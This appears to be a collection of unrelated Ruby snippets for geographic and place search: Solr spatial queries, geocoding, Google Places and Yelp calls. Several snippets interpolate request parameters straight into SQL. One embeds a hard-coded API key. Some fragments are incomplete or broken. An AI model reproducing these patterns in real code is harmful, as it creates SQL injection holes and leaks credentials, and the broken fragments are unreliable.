"def full_search(keywords, options = {})\n latitude = nil\n longitude = nil\n bounds = options[:bounds]\n where = nil\n \n if options[:alternate].blank? && options[:specific].blank? && options[:skip_where].blank?\n where_results = Atlas::Geography.where_am_i(keywords, options.dup)\n \n keywords = where_results[:query]\n where = where_results[:where].models\n \n unless where.blank?\n selected = where.first\n bounds = selected.bounds\n end\n \n options.delete :fq\n \n # The user has indicated that our \"where\" guess was incorrect, and selected another.\n elsif options[:alternate].present?\n selected = Atlas::Geography.find(options[:alternate])\n bounds = selected.bounds \n \n # Record when a user selects an alternate where result, i.e. we got it wrong!\n # Atlas::GeographicQueryLog.create :status => 'alternate', :query => query, :session_id => options[:session_id]\n\n # The user has sent in a specific bounding box in which to search. Presumably the user is looking\n # at a map, dragging it around, and re-performing searches.\n elsif options[:specific].present?\n bounds = options[:specific]\n end\n\n keywords = '*' if keywords.blank?\n \n if bounds.present?\n results = solr_server.find(\"#{spatial_query(bounds)}#{keywords}\", \n options.merge(:qt => 'geographic', :results => Atlas::Extensions::Place::PlaceResults))\n \n if results.documents.empty? && where.present?\n where[1..-1].each do |geography|\n selected = geography\n envelope = geography.read_attribute(:bounds).envelope\n center = envelope.center\n top_center = center.y + (center.y - envelope.lower_corner.y)\n radius = center.spherical_distance(Point.from_x_y(center.x, top_center)) / 1000.0\n\n results = solr_server.find(\"{!spatial lat=#{center.lat} long=#{center.lng} radius=#{radius} unit=km calc=arc threadCount=2}#{keywords}\", \n options.merge(:qt => 'geographic', :results => Atlas::Extensions::Place::PlaceResults))\n \n break unless results.documents.empty?\n end\n end\n else\n results = solr_server.find(keywords, options.merge(:qt => 'full', :results => Atlas::Extensions::Place::PlaceResults))\n end\n \n { :places => results, :selected => selected, :where => where, :query => (keywords == '*' && '' || keywords) }\n end",
"def search_with_geography(keywords, options = {})\n unless keywords.blank?\n # For backwards compatibility\n options[:count] ||= options[:rows] || 10\n \n parameters = {\n :start => options[:start] && options[:start].to_i || 0,\n :rows => options[:count] && options[:count].to_i > 0 && options[:count].to_i < 100 && options[:count].to_i || 10\n }\n \n parameters[:fq] = bounds_query(options[:bounds]) if options[:bounds].present?\n \n places = []\n facets = []\n \n results = PublicEarth::Db::Place.search_for keywords, parameters\n places = results.models\n \n # Tack on a possible map location, such as a city or country? Maybe the user was searching\n # to move the map, not look for places?\n where = nil\n unless options[:e]\n where = PublicEarth::Db::Where.am_i?(keywords, options[:bounds])\n where = nil if where.score.nil?\n end\n \n # A bold substitute for a rules engine! (There is a paper flowchart of this somewhere...)\n if options[:bounds]\n if places.blank?\n if where.present? \n [:reposition, where, nil, nil]\n else\n [:display, nil, nil, nil]\n end\n else\n if where.present?\n if where.score > 3.0\n [:prompt, where, results]\n else\n [:display, where, results]\n end\n else\n [:display, nil, results]\n end\n end\n else\n if places.blank? && where.blank?\n [:display, nil, nil]\n else\n if where.present?\n if where.score > 0.4 && !options[:recursed]\n if where.score > 2.0\n k = keywords.downcase\n # Temporary stop terms...FIX!!!\n (\"in for from near by where around over under \" + where.name.downcase).split(/\\s+/).each do |word|\n k.gsub! /\\b#{word}\\b/, ''\n end\n options.merge!({ :bounds => where.bounds, :recursed => true })\n \n again = search_with_geography(k, options)\n if again[2].blank?\n [:reposition, where, nil, nil]\n else\n [:display, where, again.last]\n end\n else\n [:prompt, where, results]\n end\n else\n [:suggest, where, results]\n end\n else\n [:display, nil, results]\n end\n end\n end\n else\n [:display, nil, nil, nil]\n end\n end",
"def search_for(keywords, options = {})\n bounds = options[:specific] || options[:bounds]\n keywords = '*:*' if keywords.blank?\n logger.debug \"Search Query: #{spatial_query(bounds)}#{keywords}\"\n solr_server.find(\"#{spatial_query(bounds)}#{keywords}\", options.merge(:results => Atlas::Extensions::Place::PlaceResults))\n end",
"def address_search\n coords = []\n places_near = []\n if params[:address].present?\n\t\t begin\n\t\t\t locations = Geocoder.search(\"#{params[:address]}\")\n if locations.present?\n locations.each do |l|\n x = Hash.new\n x[:coordinates] = l.coordinates\n x[:address] = l.address\n coords << x\n end\n end\n\t\t rescue\n\t\t\t coords = []\n\t\t end\n elsif params[:lat].present? && params[:lon].present?\n\t\t begin\n\t\t\t locations = Geocoder.search(\"#{params[:lat]}, #{params[:lon]}\")\n if locations.present?\n locations.each do |l|\n x = Hash.new\n x[:coordinates] = l.coordinates\n x[:address] = l.address\n coords << x\n end\n end\n\t\t rescue\n\t\t\t coords = []\n\t\t end\n end\n \n if params[:near_venue_id].present? && coords.present?\n x = Place.get_places_near(coords[0][:coordinates][0], coords[0][:coordinates][1], params[:near_venue_id])\n if x.present?\n x.each do |place|\n marker = Hash.new\n marker['id'] = place.id\n marker['lat'] = place.lat\n marker['lon'] = place.lon\n marker['popup'] = create_popup_text(place)\n marker['list'] = create_list_text(place)\n places_near << marker\n end\n end\n end\n\n respond_to do |format|\n format.json { render json: {matches: coords, places_near: places_near}.to_json }\n end\n end",
"def search\n\n @search = Location.near(params[:search], 15, :order => :distance)\n \n @query = params[:search]\n @locations = @search\n \n @filtros = ajustaFiltros\n @precios = precios(@locations)\n @campos = self.campos\n @places = places(@locations,@filtros)\n @facets = facetas(@locations, @filtros)\n @json = @locations.to_gmaps4rails\n end",
"def search_location(user_lat, user_long, keyword)\n begin\n location_search = LocationSearch.new(user_lat, user_long, keyword)\n location_search.load\n if location_search.autocomplete_list.empty?\n \"No Results found\"\n else\n location_search.autocomplete_list\n end\n rescue => e\n \"Something went Wrong !! #{e.inspect}\"\n end\n end",
"def search\n\n\t\t@search_loc = params[:search_loc] # address user searched for\n\t\t@search_lat = params[:search_lat] # the user's current location latitude. If the address searched for fails to give a new latitude, this is used instead\n\t\t@search_long = params[:search_long] # the user's current longitude - same use case as above\n\t\tif @search_loc != nil\n\t\t\taddress = @search_loc.gsub(/\\s/, \"+\")\n\t\t\turi = URI.parse(\"http://maps.googleapis.com/maps/api/geocode/json?address=\" + address + \"&sensor=false\")\n\t\t\thttp = Net::HTTP.get_response(uri)\n\t\t\tresults = JSON.parse(http.body)\n\t\t\t# if address yielded results, override the user's current location coordinates with the searched-for-latitude/longitude\n\t\t\tif results[\"status\"] != \"ZERO_RESULTS\"\n\t\t\t\t@search_lat = results[\"results\"][0][\"geometry\"][\"location\"][\"lat\"]\n\t\t\t\t@search_long = results[\"results\"][0][\"geometry\"][\"location\"][\"lng\"]\n\t\t\tend\n\t\tend\n\n\t\t@search_item = \"\"\n\t\tif params[:search_item] then\n\t\t\t@search_item = params[:search_item]\n\t\tend\n\t\t@search_item.downcase\n\n\t\t# the default search distance (max circular radius of a restaurant from the searched for location) is 5 unless the user specified a search radius\n\t\t@search_distance = DEFAULT_SEARCH_DISTANCE\n\t\tif params[:search_distance] then\n\t\t\t@search_distance = params[:search_distance]\n\t\tend\n\n\t\t@max_results = DEFAULT_MAX_RESULTS\n\t\tif params[:results] then\n\t\t\t@max_results = params[:results].to_i\n\t\tend\n\n\t\t# Based on the Haversine Formula found on google maps API. The below is a Sql query to find all restaurants that has dishes with a dish name containing the search query or a dish description containing the search query,\n\t\t# (independent of case), or the restaurant name or description contains the search query, and the restaurant must be within the circular search\n\t\t# radius of the searched for location.\n\t\t@restaurants = Restaurant.find_by_sql([\"SELECT DISTINCT restaurants.* from foods, restaurants WHERE\n\t\t\t(3959*acos(cos(radians(?))*cos(radians(restaurants.latitude))*cos(radians(restaurants.longitude)-radians(?)) + \n\t\t\tsin(radians(?))*sin(radians(restaurants.latitude)))) < ? AND ((lower(restaurants.name) like ? OR \n\t\t\tlower(restaurants.description) like ?) OR (lower(foods.dish_name) like ? OR lower(foods.description) like ?)) AND \n\t\t\tfoods.restaurant_id = restaurants.id LIMIT ?\", @search_lat, @search_long, @search_lat, @search_distance, \"%#{@search_item}%\", \n\t\t\t\"%#{@search_item}%\", \"%#{@search_item}%\", \"%#{@search_item}%\", @max_results])\n\n\t\t# All of the dishes returned below are ordered by average rating from highest to lowest.\n\t\t# Similar to the above query, but returns the dishes that are within restaurants within the given distance radius that has a dish name or description\n\t\t# with the search query, or its restaurant name / description has the search query.\n\t\t@dishes = Food.find_by_sql([\"SELECT DISTINCT foods.* from foods, restaurants WHERE \n\t\t\t(3959*acos(cos(radians(?))*cos(radians(restaurants.latitude))*cos(radians(restaurants.longitude)-radians(?)) + \n\t\t\tsin(radians(?))*sin(radians(restaurants.latitude)))) < ? AND ((lower(restaurants.name) like ? OR \n\t\t\tlower(restaurants.description) like ?) OR (lower(foods.dish_name) like ? OR lower(foods.description) like ?)) AND \n\t\t\tfoods.restaurant_id = restaurants.id ORDER BY foods.rating DESC NULLS LAST OFFSET 2 LIMIT ?\", @search_lat, @search_long, @search_lat, \n\t\t\t@search_distance, \"%#{@search_item}%\", \"%#{@search_item}%\", \"%#{@search_item}%\", \"%#{@search_item}%\", @max_results])\n\n\t\t@num_items_per_row = DEFAULT_NUM_ITEMS_PER_ROW\n\t\t@num_rows_per_page = DEFAULT_NUM_ROWS_PER_PAGE\n\t\tif params[:itemspr] then\n\t\t\t@num_items_per_row = params[:itemspr].to_i\n\t\tend\n\t\tif params[:rowspp] then\n\t\t\t@num_rows_per_page = params[:rowspp].to_i\n\t\tend\n\n\t\t@render = 'default'\n\t\tif params[:render] then\n\t\t\t@render = params[:render]\n\t\tend\n\n\t\tif @render == 'json_only' then\n\t\t\trender :json => {:restaurants => @restaurants, :dishes => @dishes}\n\t\telsif @render == 'partials_only' then\n\t\t\trender :partial => 'shared/results', :locals => {:rend => 'all', :dishes => @dishes, :restaurants => @restaurants,\n\t\t\t\t:with_json => false, :num_items_per_row => @num_items_per_row, :num_rows_per_page => @num_rows_per_page}\n\t\telsif @render == 'partials_and_json_only' then\n\t\t\trender :partial => 'shared/results', :locals => {:rend => 'all', :dishes => @dishes, :restaurants => @restaurants,\n\t\t\t\t:with_json => true, :num_items_per_row => @num_items_per_row, :num_rows_per_page => @num_rows_per_page}\n\t\telsif @render == 'dish_partials_only' then\n\t\t\trender :partial => 'shared/results', :locals => {:rend => 'dishes_only', :render_restaurants => false, :results => 'dishes',\n\t\t\t\t:dishes => @dishes, :with_json => false, :num_items_per_row => @num_items_per_row, :num_rows_per_page => @num_rows_per_page}\n\t\telsif @render == 'restaurant_partials_only' then\n\t\t\trender :partial => 'shared/results', :locals => {:rend => 'restaurants_only', :results => 'restaurants',\n\t\t\t\t:restaurants => @restaurants, :with_json => false, :num_items_per_row => @num_items_per_row, :num_rows_per_page => @num_rows_per_page}\n\t\tend\n\t\t# else search.html.erb (the default) will be rendered\n\n\tend",
"def search_place\n @radius = @params[:radius] if @params[:radius].present?\n @type = @params[:type] if @params[:type].present?\n if @params[:filters].present?\n places=HTTParty.get(\"https://maps.googleapis.com/maps/api/place/nearbysearch/json?location=#{@params[:lat]},#{@params[:lng]}&key=#{ENV['GOOGLE_PLACES_KEY']}&name=\"+@params[:filters]+\"&radius=#{@radius}&type=#{@type}\")\n else\n places=HTTParty.get(\"https://maps.googleapis.com/maps/api/place/nearbysearch/json?location=#{@params[:lat]},#{@params[:lng]}&key=#{ENV['GOOGLE_PLACES_KEY']}&radius=#{@radius}&type=#{@type}\")\n end\n places[\"results\"] \n end",
"def search(q:, raw: false)\n return unless String(q).length > 10\n\n result = Geocoder.search(q)\n raw ? result&.data : format_result(result)\n end",
"def search\n \n # Populate the @traveler variable\n get_traveler\n \n query = params[:query]\n query_str = query + \"%\"\n Rails.logger.debug query_str\n\n # This array will hold the list of matching places\n matches = [] \n # We create a unique index for mapping etc for each place we find\n counter = 0 \n \n # First search for matching names in my places\n rel = Place.arel_table[:name].matches(query_str)\n places = @traveler.places.active.where(rel)\n places.each do |place|\n matches << {\n \"index\" => counter,\n \"type\" => PLACES_TYPE,\n \"name\" => place.name,\n \"id\" => place.id,\n \"lat\" => place.location.first,\n \"lon\" => place.location.last,\n \"address\" => place.address,\n \"description\" => render_to_string(:partial => \"/shared/map_popup\", :locals => { :place => {:icon => 'icon-building', :name => place.name, :address => place.address} })\n }\n counter += 1\n end\n \n # Second search for matching address in trip_places. We manually filter these to find unique addresses\n rel = TripPlace.arel_table[:raw_address].matches(query_str)\n tps = @traveler.trip_places.where(rel).order(\"raw_address\")\n old_addr = \"\"\n tps.each do |tp|\n if old_addr != tp.raw_address\n matches << {\n \"index\" => counter,\n \"type\" => CACHED_ADDRESS_TYPE,\n \"name\" => tp.raw_address,\n \"id\" => tp.id,\n \"lat\" => tp.lat,\n \"lon\" => tp.lon,\n \"address\" => tp.raw_address,\n \"description\" => render_to_string(:partial => \"/shared/map_popup\", :locals => { :place => {:icon => 'icon-building', :name => tp.name, :address => tp.raw_address} })\n }\n counter += 1\n old_addr = tp.raw_address\n end \n end\n \n # Lastly search for matching names in the POI table\n rel = Poi.arel_table[:name].matches(query_str)\n pois = Poi.where(rel).limit(MAX_POIS_FOR_SEARCH)\n pois.each do |poi|\n matches << {\n \"index\" => counter,\n \"type\" => POI_TYPE,\n \"name\" => poi.name,\n \"id\" => poi.id,\n \"lat\" => poi.lat,\n \"lon\" => poi.lon,\n \"address\" => poi.address,\n \"description\" => render_to_string(:partial => \"/shared/map_popup\", :locals => { :place => {:icon => 'icon-building', :name => poi.name, :address => poi.address} })\n }\n counter += 1\n end\n \n respond_to do |format|\n format.js { render :json => matches.to_json }\n format.json { render :json => matches.to_json }\n end\n end",
"def search(term)\n url = \"#{API_HOST}#{SEARCH_PATH}\"\n params = {\n term: term,\n # location: DEFAULT_LOCATION,\n latitude: 37.784517,\n longitude: -122.397194,\n limit: SEARCH_LIMIT,\n open_now: true\n }\n\n response = HTTP.auth(ENV[\"AUTHORIZATION\"]).get(url, params: params)\n\n response.parse\n end",
"def get_matches_with_coordinates(spatial_term)\n Item.connection.select_all(\"\n SELECT DISTINCT * FROM (\n SELECT unnest(dcterms_spatial) spatial FROM items\n ) s WHERE spatial LIKE $$#{spatial_term}%, %.%, %.%$$;\n \")\n end",
"def search_for(keywords, options = {})\n solr_server.find(keywords, options.merge(:results => PublicEarth::Search::PlaceResults))\n end",
"def is_nearby(user_latitude,user_longitude, bus_latitude, bus_longitude)\n (user_longitude - bus_longitude).abs <= 0.01 && (user_latitude - bus_latitude).abs \nend",
"def get_lat_lng(search_term)\n url = \"https://maps.googleapis.com/maps/api/place/nearbysearch/json?key=AIzaSyD1eA_mMwy_51cCkRHu06g2GeFw8rdJmgU&location=12.9923408,77.5947617&sensor=false&radius=50000&keyword=#{search_term}\"\n p URI::escape(url)\n response = JSON.parse(RestClient.get(URI::escape(url)), :symbolize_names => true )\n p response\n location_hash = response[:results][0][:geometry][:location]\n lat = location_hash[:lat]\n lng = location_hash[:lng]\n name = response[:results][0][:name]\n [name, lat, lng]\n\nend",
"def near(lat, lng, options = {})\n @query.fulltext.add_location(@field, lat, lng, options)\n end",
"def nearby\n if params[:latitude].present? && params[:longitude].present?\n places = Place.near([params[:latitude].to_f, params[:longitude].to_f], 50, units: :km).limit(@limit).offset(@offset)\n if places.present?\n respond_with places, status: :ok, location: places_path\n else\n render json: {error: 'Could not find any resources nearby stated location.'}, status: :not_found\n end\n else\n render json: {error: 'Could not find any resources. Check if you are using the required parameters.'}, status: :bad_request\n end\n end",
"def nearby\n\n #select * from ( select * from Location\n # WHERE Longitude > @lngA-(@dist/(cos( radians(@latA+(@dist/68.703)))*69.172))\n # AND Longitude < @lngA+(@dist/(cos( radians(@latA+(@dist/68.703)))*69.172))\n # AND Latitude > @latA-(@dist/68.703)\n # AND Latitude < @latA+(@dist/68.703) ) AS `tmp` WHERE GEODISTANCE(@latA,@lngA ,Latitude,Longitude) < @dist\n\n #Calculate a bounding box we can use to quickly find nearby trucks\n lat = params[:lat].to_f\n lng = params[:lng].to_f\n dist = params[:radius].to_f\n latDelta = dist/68.703\n\n value = lat+(latDelta);\n rad = value/180 * Math::PI #Geocoder::Calculations.to_radians(value) #value.to_ra radians(value);\n\n lngDelta = dist/(Math.cos( rad)*69.172)\n minLng = lng-lngDelta\n maxLng = lng+lngDelta\n minLat = lat-latDelta\n maxLat = lat+latDelta\n\n\n #IFNULL( SQRT(((difX)(difX))+((difY)(difY))), 99999)\n trucks = Truck.find_by_sql \"SELECT trucks.* WHERE SQRT(((trucks.lng-#{lng})(trucks.lng-#{lng}))+((trucks.lat-#{lat})(trucks.lat-#{lat}))) < #{dist}\"\n\n render :json => trucks\n end",
"def scrape\n request = BoundingBox.new(\n :term => keyword,\n :sw_latitude => sw_lat,\n :sw_longitude => sw_long,\n :ne_latitude => ne_lat,\n :ne_longitude => ne_long,\n :sort => 2)\n\n request2 = BoundingBox.new(\n :term => keyword,\n :sw_latitude => sw_lat,\n :sw_longitude => sw_long,\n :ne_latitude => ne_lat,\n :ne_longitude => ne_long,\n :sort => 2,\n :limit => 20,\n :offset => 20)\n\n\n [ client.search(request), client.search(request2) ]\n end",
"def places(lat, lng)\n response = HTTParty.post(\"https://maps.googleapis.com/maps/api/place/nearbysearch/json?location=#{lat},#{lng}&radius=500&type=cafe&key=#{ENV['PLACES_API_KEY']}\")\n return response['results'][1]\n end",
"def my_search(input, latitude, longitude)\r\n\tyelp = yelp_search(input, latitude, longitude)\r\n\t\r\n\treturn '\"error\"' if yelp.nil? || yelp['error']\r\n\t\r\n\tresults = yelp['businesses'].map do |business|\r\n\t\t{\r\n\t\t\tname: business['name'],\r\n\t\t\tid: business['id'],\r\n\t\t\turl: business['url'],\r\n\t\t\trating: business['rating'],\r\n\t\t\tprice: business['price'],\r\n\t\t\tdistance: business['distance'],\r\n\t\t\tlatitude: business['coordinates']['latitude'],\r\n\t\t\tlongitude: business['coordinates']['longitude']\r\n\t\t}\r\n\tend\r\n\t\r\n\tJSON.generate(results)\r\nend",
"def find\n placenames = []\n begin\n placenames = Mapbox::Geocoder.geocode_forward(\n @search_text, \n {:proximity => {:longitude => @lng, :latitude => @lat}}\n )\n rescue Exception => e\n puts \"====================== Exception - MapboxApi - Places - find ======================\"\n puts e.message\n end\n\n return placenames\n end",
"def is_nearby?(user_lat, user_long, bus_lat, bus_long)\n Math.hypot((user_lat - bus_lat), (user_long - bus_long)) <= .01\n end",
"def locate(address)\n get :geo, :q => address\n end",
"def nearby\n\n params[:distance] ||= 20\n\n # Use the current user's IP address to retrieve the user coordinates\n @user_coordinates = Geocoder.coordinates(request.remote_ip)\n\n # Presume geolocation will fail\n @geocoder_success = false\n\n # If geolocation fails, use a default of downtown Columbus\n if @user_coordinates == [0.0, 0.0]\n\n # Default coordinates when can't geolocate the current user\n @user_coordinates = [39.961122, -83.000431]\n\n else\n\n @geocoder_success = true\n\n end\n\n @locations = Location.near(@user_coordinates, params[:distance]) #.paginate(:page => params[:page], :per_page => 10)\n\n end",
"def partial_search(query, options = {})\n bounds = options[:bounds] || nil\n if bounds.present?\n results = solr_server.find(\"#{spatial_query(bounds)}name:#{query}*\", options.merge(:qt => 'standard', \n :results => Atlas::Extensions::Place::PlaceResults))\n else\n results = solr_server.find(\"name:#{query}*\", options.merge(:qt => 'standard', \n :results => Atlas::Extensions::Place::PlaceResults))\n end\n results\n end",
"def nearby_bike_parking(string, dist)\n area = process_coords(area)\n querry = \"$where=within_circle(geom, #{area[1]}, #{area[0]}, #{dist})\"\n bike_grabber(querry)\n end",
"def is_nearby(user_latitude, user_longitude, bus_latitude, bus_longitude)\n (user_longitude - bus_longitude).abs <= 0.01 && (user_latitude - bus_latitude).abs <= 0.01\n end",
"def location_search # :nologin: :norobots:\n query = create_query(:Location, :pattern_search, :pattern => Location.user_name(@user, params[:pattern].to_s))\n show_selected_locations(query, :link_all_sorts => true)\n end",
"def search_route_point\n (lat, lon) = params[:point].split(\",\")\n radius = params[:radius]\n\n results = Route.select(\"distinct name_route, cod_route\")\n .where(\"ST_DWithin('POINT(#{lat} #{lon})', path, ?)\", \"#{radius}\")\n render json: results\n end",
"def search(query)\n @client.get('/BikePoint/Search', { query: query })\n end",
"def locate(latitude,longitude)\n get escape(\"lat=#{latitude}&lon=#{longitude}\")\n end",
"def where_geocoder(query, near = nil)\n url = URI.parse GOOGLE_GEOCODER_URI\n near_query = nil\n if near && near.kind_of?(Hash)\n #near_query = \"ll=#{near[:latitude]},#{near[:longitude]}&spn=#{near[:span_latitude]},#{near[:span_longitude]}&gl=#{near[:country]}\" \n #near_query = \"ll=#{near[:latitude]},#{near[:longitude]}&spn=#{near[:span_latitude]},#{near[:span_longitude]}\" \n #near_query = \"gl=UK\"\n end\n \n response = Net::HTTP.start(url.host, url.port) do |http|\n http.get(\"#{GEOCODER_QUERY_STRING}#{CGI.escape(query)}&#{near_query}\")\n end\n\n results = JSON.parse(response.body)['Placemark']\n \n unless results.nil? || results.empty?\n results.map do |result|\n if result['AddressDetails'] && result['AddressDetails']['Accuracy'].to_i >= 0\n p = { :name => result['address'] }\n\n p[:address] = result['AddressDetails']['Country']['AdministrativeArea']['Locality']['Thoroughfare']['ThoroughfareName'] rescue nil\n p[:city] = result['AddressDetails']['Country']['AdministrativeArea']['Locality']['LocalityName'] rescue nil\n p[:region] = result['AddressDetails']['Country']['AdministrativeArea']['AdministrativeAreaName'] rescue nil\n p[:country] = result['AddressDetails']['Country']['CountryNameCode'] rescue nil\n p[:postal_code] = result['AddressDetails']['Country']['AdministrativeArea']['Locality']['PostalCode'] rescue nil\n p[:latitude] = result['Point']['coordinates'][1].to_f rescue nil\n p[:longitude] = result['Point']['coordinates'][0].to_f rescue nil\n p[:accuracy] = result['AddressDetails']['Accuracy'].to_i rescue nil\n p[:zoom] = ZOOM_FROM_ACCURACY[result['AddressDetails']['Accuracy'].to_i] #rescue 0\n\n p\n else\n nil\n end\n end\n else\n []\n end\n end",
"def index\n if params[:search].present?\n @locations = Location.near(params[:search], 50)#, :order => :distance)\n else\n @locations = Location.all\n end\n end",
"def results\n # lat, lng, and term from user.js AJAX get request\n p params\n @lat = params[:lat]\n @long = params[:lng]\n term = params[:term]\n yelp_params = { term: term, limit: 5, sort: 1}\n coordinates = { latitude: @lat, longitude: @long }\n new_search = Yelp.client.search_by_coordinates(coordinates, yelp_params)\n # TODO - refactor into a separate function\n p new_search\n new_search.businesses.each do |business|\n \t result_name = business.name\n result_distance = business.distance\n \t result_address = business.location.address\n \t result_lat = business.location.coordinate.latitude\n \t result_long = business.location.coordinate.longitude\n \t # result_review = business.review_count\n \t # result_rating = business.rating\n end \n render json: new_search\n end",
"def search(term, location=@location)\n url = \"#{API_HOST}#{SEARCH_PATH}\"\n params = {\n term: term,\n location: location,\n limit: SEARCH_LIMIT\n }\n\n response = HTTP.auth(\"Bearer #{API_KEY}\").get(url, params: params)\n response.parse\n end",
"def is_nearby(user_latitude, user_longitude, bus_latitude, bus_longitude)\n (user_longitude - bus_longitude).abs <= 0.01 && (user_latitude - bus_latitude).abs <= 0.01\n end",
"def from_search\n name = params[:id]\n lat = params[:lat]\n lon = params[:lon]\n @locations = Location.locations_from_candy_ids(Candy.ids_by_name(name))\n if(lat and lon)\n @locations = Location.nearest_five(lat.to_f, lon.to_f, @locations)\n end\n\n respond_to do |format|\n format.html\n format.json { render :json => @locations }\n end\n end",
"def search_place_in_google_api_by_name(place)\n api_client.spots(place.latitude, place.longitude, name: place.name, radius: 1000).detect do |spot|\n spot.name.similar(place.name) >= 80\n end\n end",
"def search\n @coordinates = [params[:lat].to_f, params[:lng].to_f]\n session[:search] = @coordinates\n redirect_to places_path\n end",
"def get_nearby_places_bykeyword(lat, lng, keyword, options={})\n get_info_fromjson = GetInfoFromJson.new\n\n url_params = { :location => \"#{lat},#{lng}\", :keyword => URI.encode(keyword), :key => @api_key, :rankby => \"distance\", :language => \"ja\" }\n url = set_params(@base_url, url_params)\n\n res = http_get(url)\n\n places = get_info_fromjson.get_places_info(res, 3)\n\n return places\n end",
"def search(keyword: nil, near: nil, radius: 10, type: :all, published_within: :all_dates,\n country: nil, exclude_visited: false, exclude_my: false, sort_by: :closest)\n\n @web.get('https://www.waymarking.com/wm/search.aspx') do |page|\n form = page.form_with(action: '/wm/search.aspx') do |f|\n f['ctl00$ContentBody$FilterControl1$txtKeyword'] = keyword.to_s\n f['ctl00$ContentBody$FilterControl1$uxSearchLocation'] = near.to_s\n f['ctl00$ContentBody$FilterControl1$ddlRadius'] = radius.to_s\n # TODO: support all paramters\n end\n result = form.click_button(form.button_with(name: 'ctl00$ContentBody$FilterControl1$btnUpdate'))\n\n #pp result\n\n #puts result.parser\n raise MalformedRequest, '' if result.title.strip != 'Waymark Search Results'\n\n\n return SearchQuery.new(@web, result)\n end\n end",
"def getEntitySearchWhatByboundingbox( what, latitude_1, longitude_1, latitude_2, longitude_2, per_page, page, country, language, domain, path, restrict_category_ids)\n params = Hash.new\n params['what'] = what\n params['latitude_1'] = latitude_1\n params['longitude_1'] = longitude_1\n params['latitude_2'] = latitude_2\n params['longitude_2'] = longitude_2\n params['per_page'] = per_page\n params['page'] = page\n params['country'] = country\n params['language'] = language\n params['domain'] = domain\n params['path'] = path\n params['restrict_category_ids'] = restrict_category_ids\n return doCurl(\"get\",\"/entity/search/what/byboundingbox\",params)\n end",
"def is_nearby?(user_lat, user_long, bus_lat, bus_long)\n\t\t(user_lat - bus_lat).abs <= 0.01 && (user_long - bus_long).abs <= 0.01\n\n\tend",
"def get_by_location\n \tlat = params[:lat]\n \tlng = params[:lng]\n \tnext_start = params[:next_start]\n \tshops = Hotpepper.search_location(lat, lng, next_start);\n \tset_to_results(shops);\n end",
"def locations_within_proximity\n field.locations.where( x_coordinate: x_proximity,\n y_coordinate: y_proximity )\n end",
"def nearby\n # Check the parameters\n if params[:long].present? && params[:lat].present?\n # using the parameters and offset/limit\n t = Position.near([params[:latitude].to_f, params[:longitude].to_f], 1000).limit(@limit).offset(@offset)\n respond_with t.flat_map(&:resturants), status: :ok\n else\n displayError(\"We could not find any resources.\")\n render json: error, status: :bad_request\n end\n end",
"def place_search\n @places = []\n area = params[:area_id].blank? ? nil : Place.find(params[:area_id])\n if area.present? && area.area > 0\n search_text = Riddle::Query.escape(help.strip_links(params[:search]))\n results = Place.search(search_text, :field_weights => { :name => 10 })\n\n results.each do |place|\n @places << place if place.areas.include?(area)\n end\n end\n \n respond_to do |format|\n format.json\n end\n end",
"def search_radius\n exact_location ? 100 : 50_000\n end",
"def getEntitySearchByboundingbox( latitude_1, longitude_1, latitude_2, longitude_2, per_page, page, country, language, domain, path, restrict_category_ids)\n params = Hash.new\n params['latitude_1'] = latitude_1\n params['longitude_1'] = longitude_1\n params['latitude_2'] = latitude_2\n params['longitude_2'] = longitude_2\n params['per_page'] = per_page\n params['page'] = page\n params['country'] = country\n params['language'] = language\n params['domain'] = domain\n params['path'] = path\n params['restrict_category_ids'] = restrict_category_ids\n return doCurl(\"get\",\"/entity/search/byboundingbox\",params)\n end",
"def locations_within_bounding_box(sw_latitude, sw_longitude, ne_latitude, ne_longitude)\n uri_params = { swLat: sw_latitude, swLon: sw_longitude, neLat: ne_latitude, neLon: ne_longitude }\n @client.get('/BikePoint', uri_params)\n end",
"def places_near(location, distance = nil, limit = nil, snac = nil)\n query = places\n\n # this is a temporary fix while we address poorly performing geo_near queries\n if snac\n query = query.where(snac: snac)\n # currently the max number of places in a local authority is 70\n query = query.limit(70)\n query.order_by(name: 1)\n else\n query = query.limit(limit) if limit\n query = query.geo_near([location.longitude, location.latitude])\n query = query.max_distance(distance.in(:degrees)) if distance\n end\n query\n end",
"def search\n\n \tparser = AddressParser.new\n \taddress_hash = {}\n \t\n \tunless params[:location].nil?\n\t \tif is_number?(params[:location]) then \n\t \t\t# zip code\n\t\t \taddress_hash = parser.zip.parse(params[:location])\n\t\telsif params[:location].length == 2 then\n\t\t\t# state only\n\t\t\tparams[:location] = params[:location].strip.upcase\n\t\t\taddress_hash = parser.state.parse(params[:location])\n\t\telse\n\t\t\t# city, state, zip\n\t\t\tbegin address_hash = parser.csz.parse(params[:location])\n\t\t\t\trescue\n\t\t\t\t# city\n\t\t\t \taddress_hash = parser.city1.parse(params[:location]) unless params[:location].nil?\n\t\t\tend \n\t\tend\n\tend\n\t\n\t# new hash for search keys\n\tskeys = {}\n\t\n\tif address_hash[:city] then \n\t\tskeys[\"CIT\"] = /#{address_hash[:city]}/i\n\t\tparams['city'] = address_hash[:city]\n\tend\n\tif address_hash[:city1] then \n\t\tskeys[\"CIT\"] = /#{address_hash[:city1]}/i\n\t\tparams['city'] = address_hash[:city]\n\tend\n \tif address_hash[:state] then \n \t\tskeys[\"STATE\"] = \"#{address_hash[:state]}\" \n \t\tparams['state'] = address_hash[:state]\n \tend\n \tif address_hash[:zip] then \n \t\tskeys[\"ZP\"] = address_hash[:zip].to_s \n \t\t#params['zip'] = CGI::escape(address_hash[:zip])\n \t\tparams['zip'] = address_hash[:zip]\n \tend\n \t\n \tif(params.has_key?('bathrooms') ) then\n \t\tskeys[\"BTH\"] = \"#{params[:bathrooms].to_f}\"\n \tend\n \t\n \tif(params.has_key?('bedrooms') ) then\n \t\tskeys[\"BR\"] = params[:bedrooms].to_i\n \tend\n\n \tif(params.has_key?('minyear') ) then\n \t\tskeys[\"BLT-MIN\"] = params[:minyear].to_i\n \tend\n \t\n \tif(params.has_key?('maxyear') ) then\n \t\tskeys[\"BLT-MAX\"] = params[:minyear].to_i\n \tend\n \t\n \tif(params.has_key?('price_low') ) then\n \t\tskeys[\"LP-MIN\"] = params[:price_low].to_i\n \tend\n \t\n \tif(params.has_key?('price_high') ) then\n \t\tskeys[\"LP-MAX\"] = params[:price_high].to_i\n \tend\n \t\n \tif(params.has_key?('zipcode') ) then\n \t\tskeys[\"ZP\"] = params[:zipcode]\n \tend\n\t\n\tquery = {}\n\n\tskeys.each do |key, value|\n\t\tcase key\n\t\t\t when 'BTH'\n\t\t\t query.merge!({ key.to_sym.gte => value.to_f })\n\t\t\t when 'BR'\n\t\t\t 